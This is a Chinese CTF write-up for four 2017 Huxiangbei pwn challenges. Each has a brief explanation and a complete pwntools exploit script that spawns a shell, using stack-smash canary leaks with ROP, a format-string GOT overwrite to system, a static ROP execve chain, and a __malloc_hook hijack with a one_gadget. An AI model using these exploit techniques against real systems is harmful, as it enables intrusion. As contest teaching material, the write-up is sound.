[2017湖湘杯] writesup(pwn)

题目链接

pwn100

  • 一开始没看懂程序在干嘛,但是从fork函数和开了canary可以联想到使用stack smash泄漏canary然后rop,后来才读懂程序是对我们的输入进行base64解码,v21数组用于存放解码后的数据,然后我们可以输入0x200的base64数据,0x200/4*3=384大于v21的数组大小,所以产生了缓冲区溢出,通过这个来泄漏canary然后rop

exp:

#coding:utf-8
from PwnContext.core import *
import base64

context.log_level = 'debug'

def senddata(data):
    p.recvuntil('data[Y/N]\n')
    p.sendline('Y')
    p.recvuntil('datas:\n\n')
    p.sendline(base64.b64encode(data))


binary = './pwns'
debug_libc = './libc.so.6'
ctx.binary = binary
ctx.remote_libc = debug_libc
elf = ELF(binary)
libc = ELF(debug_libc)
ctx.debug_remote_libc = True
p = ctx.start()

#leak canary
senddata('a'*(0x10d-0xc+1))
p.recvuntil('a'*(0x10d-0xc+1))
canary = u32(p.recv(3).rjust(4,'\x00'))
log.success('canary : 0x%x'%canary)

#leak libc
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
puts_offset = libc.symbols['puts']
system_offset = libc.symbols['system']
binsh_offset = libc.search('/bin/sh').next()
payload = 'a'*(0x10d-0xc) + p32(canary) + p32(0) + 'a'*0x8
payload += p32(puts_plt) + p32(0x08048B8A) + p32(puts_got)
senddata(payload)
p.recvuntil('a\n')
libc_base = u32(p.recv(4)) - puts_offset
log.success('libc_base addr : 0x%x'%libc_base)
system_addr = libc_base + system_offset
log.success('system addr : 0x%x'%system_addr)
binsh_addr = libc_base + binsh_offset

#system('/bin/sh\x00')
payload = 'a'*(0x10d-0xc) + p32(canary) + p32(0) + 'a'*0x8
payload += p32(system_addr) + p32(0xdeadbeef) + p32(binsh_addr)
senddata(payload)

p.interactive()

pwn200

  • 32位栈上格式化字符串,先泄漏偏移,然后泄漏libc,最后改printf_got为system地址

exp:

#coding:utf-8
from PwnContext.core import *

context.log_level = 'debug'

def fmt_attack(payload,age):
    p.recvuntil('PLAY[Y/N]\n')
    p.sendline('Y')
    p.recvuntil('NAME:\n\n')
    p.sendline(payload)
    p.recvuntil('WELCOME \n')
    data = p.recvuntil('\n',drop=True)
    p.recvuntil('AGE:\n\n')
    p.sendline(age)
    return data

binary = './pwne'
debug_libc = './libc.so.6'
ctx.binary = binary
ctx.remote_libc = debug_libc
elf = ELF(binary)
libc = ELF(debug_libc)
ctx.debug_remote_libc = True
p = ctx.start()

#leak libc_base
libc_base = int(fmt_attack('%35$p','1'),16) - libc.symbols['__libc_start_main'] - 243
log.success('libc_base addr : 0x%x'%libc_base)
printf_got = elf.got['printf']
system_addr = libc_base + libc.symbols['system']
log.success('system addr : 0x%x'%system_addr)

#hijack printf_got -> system_addr
payload = fmtstr_payload(7,{printf_got:system_addr})
fmt_attack(payload,'1')

#system('/bin/sh\x00')
p.recvuntil('PLAY[Y/N]\n')
p.sendline('Y')
p.recvuntil('NAME:\n\n')
p.sendline('/bin/sh\x00')
p.interactive()

pwn300

  • memcpy造成栈溢出,由于程序是静态链接的,可以直接通过ROPgadget构造rop链,栈溢出的时候要小心程序return 0之前会调用free函数,这里可以采取free(0)绕过,具体原理,简单来说当free的参数是空指针的时候不进行任何操作

exp:

from pwn import *
from struct import pack

context.log_level = 'debug'

def senddata(payload):
    p.recvuntil('the result\n')
    p.sendline('1')
    p.recvuntil('integer x:')
    p.sendline('0')
    p.recvuntil('integer y:')
    p.sendline(str(payload))

p = process('./pwn300')
p.recvuntil('calculate:')
p.sendline('255')

payload = []
payload.append(0x0806ed0a) # pop edx ; ret
payload.append(0x080ea060) # @ .data
payload.append(0x080bb406) # pop eax ; ret
payload.append(int('/bin'[::-1].encode('hex'),16))
payload.append(0x080a1dad) # mov dword ptr [edx], eax ; ret
payload.append(0x0806ed0a) # pop edx ; ret
payload.append(0x080ea064) # @ .data + 4
payload.append(0x080bb406) # pop eax ; ret
payload.append(int('//sh'[::-1].encode('hex'),16))
payload.append(0x080a1dad) # mov dword ptr [edx], eax ; ret
payload.append(0x0806ed0a) # pop edx ; ret
payload.append(0x080ea068) # @ .data + 8
payload.append(0x08054730) # xor eax, eax ; ret
payload.append(0x080a1dad) # mov dword ptr [edx], eax ; ret
payload.append(0x080481c9) # pop ebx ; ret
payload.append(0x080ea060) # @ .data
payload.append(0x0806ed31) # pop ecx ; pop ebx ; ret
payload.append(0x080ea068) # @ .data + 8
payload.append(0x080ea060) # padding without overwrite ebx
payload.append(0x0806ed0a) # pop edx ; ret
payload.append(0x080ea068) # @ .data + 8
payload.append(0x08054730) # xor eax, eax ; ret
payload.append(0x0807b75f) # inc eax ; ret
payload.append(0x0807b75f) # inc eax ; ret
payload.append(0x0807b75f) # inc eax ; ret
payload.append(0x0807b75f) # inc eax ; ret
payload.append(0x0807b75f) # inc eax ; ret
payload.append(0x0807b75f) # inc eax ; ret
payload.append(0x0807b75f) # inc eax ; ret
payload.append(0x0807b75f) # inc eax ; ret
payload.append(0x0807b75f) # inc eax ; ret
payload.append(0x0807b75f) # inc eax ; ret
payload.append(0x0807b75f) # inc eax ; ret
payload.append(0x08049781) # int 0x80


for i in range(16):
    senddata(0)

for i in payload:
    senddata(i)

p.recvuntil(' result\n')
p.sendline('5')
p.interactive()

pwn400

  • 先create一个profile,在update函数利用-1绕过nbytes不开辟新的堆空间然后覆盖buf的堆地址为got表地址,再利用printf函数,由于nbytes<0所以可以泄漏got表地址
  • Exchange函数可以交换两个指针地址的数据,所以不能改got表为system地址,最后选择改topchunk地址到malloc_hook前面,然后下次malloc的时候就可以覆盖malloc_hook为one_gadget

exp:

#coding:utf-8
from PwnContext.core import *

context.log_level = 'debug'


binary = './profile'
debug_libc = './libc.so.6'
ctx.binary = binary
ctx.remote_libc = debug_libc
elf = ELF(binary)
libc = ELF(debug_libc)
ctx.debug_remote_libc = True
p = ctx.start()

def create(length,name,age):
    p.recvuntil('>')
    p.sendline('1')
    p.recvuntil('name len:\n')
    p.sendline(str(length))
    p.recvuntil('name:\n')
    p.sendline(name)
    p.recvuntil(' age:\n')
    p.sendline(age)

def printf():
    p.recvuntil('>')
    p.sendline('2')

def update(length,name,age):
    p.recvuntil('>')
    p.sendline('3')
    p.recvuntil('namelen:\n')
    p.sendline(str(length))
    p.recvuntil(' name:')
    p.send(name)
    p.recvuntil('age:')
    p.sendline(age)

def exchange(p1,p2):
    p.recvuntil('>')
    p.sendline('4')
    p.recvuntil('Person 1: ')
    p.send(p1)
    p.recvuntil('Person 2: ')
    p.send(p2)

#leak libc
puts_got = elf.got['puts']
printf_got = elf.got['printf']
atoi_got = elf.got['atoi']
create(0x10,'aaaa','1')
update(-1,p32(puts_got),'1')
printf()
p.recvuntil('name: ')
libc_base = u32(p.recv(4)) - libc.symbols['puts']
log.success('libc_base addr : 0x%x'%libc_base)
topchunk_addr = libc_base + 0x1ad420 + 48
log.success('topchunk addr : 0x%x'%topchunk_addr)
malloc_hook = libc_base + libc.symbols['__malloc_hook']
log.success('malloc_hook addr : 0x%x'%malloc_hook)
one_gadget = libc_base + 0x401b3
log.success('one_gadget addr : 0x%x'%one_gadget)

#hijack main_arena->topchunk -> __malloc_hook
exchange(p32(topchunk_addr-12),p32(malloc_hook-0x4c))
update(0x50,'a'*0x44+p32(one_gadget),'1')

#trigger one_gadegt
p.recvuntil('>')
p.sendline('3')
p.recvuntil('namelen:\n')
p.sendline('20')

p.interactive()
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 206,126评论 6 481
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 88,254评论 2 382
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 152,445评论 0 341
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 55,185评论 1 278
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 64,178评论 5 371
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,970评论 1 284
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,276评论 3 399
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,927评论 0 259
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 43,400评论 1 300
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,883评论 2 323
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,997评论 1 333
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,646评论 4 322
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,213评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,204评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,423评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 45,423评论 2 352
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,722评论 2 345